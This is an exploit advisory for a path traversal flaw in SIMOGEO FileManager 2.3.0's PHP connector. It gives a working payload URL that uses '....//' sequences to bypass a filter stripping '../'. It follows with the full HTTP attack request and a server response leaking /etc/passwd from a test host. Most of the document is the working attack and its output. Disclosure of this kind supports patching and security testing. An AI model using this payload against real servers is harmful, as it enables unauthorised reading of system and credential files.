SIMOGEO FileManager 2.3.0 Path Traversal

`# Exploit Title: SIMOGEO FileManager 2.3.0 - Path Traversal Vulnerability  
# Date: 2015-12-09  
# Exploit Author: HaHwul  
# Exploit Author Blog: http://www.codeblack.net  
# Vendor Homepage: https://github.com/simogeo/Filemanager  
# Software Link: git clone http://github.com/simogeo/Filemanager.git  
# Version: 2.3.0  
# Tested on: Debian [Wheezy]  
# CVE : none  
  
Path Traversal Code  
http://192.168.0.15/vul_test/target/Filemanager/connectors/php/filemanager.php?mode=preview&path=//....//....//....//....//....//....//....//....//....//etc/passwd  
  
Filtering Rules: "../" -> blank  
Bypass Filtering : ....// -> deleted "../" -> ../   
  
Attack Request  
GET /vul_test/target/Filemanager/connectors/php/filemanager.php?mode=preview&path=//....//....//....//....//....//....//....//....//....//etc/passwd HTTP/1.1  
Host: 192.168.0.15  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.4.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
  
Response  
HTTP/1.1 200 OK  
Date: Tue, 08 Dec 2015 17:18:52 GMT  
Server: Apache/2.2.16 (Debian)  
X-Powered-By: PHP/5.3.3-7+squeeze19  
Content-Transfer-Encoding: Binary  
Content-Length: 1383  
Content-Disposition: inline; filename="passwd"  
Keep-Alive: timeout=15, max=100  
Connection: Keep-Alive  
Content-Type: image/  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
..snip..  
`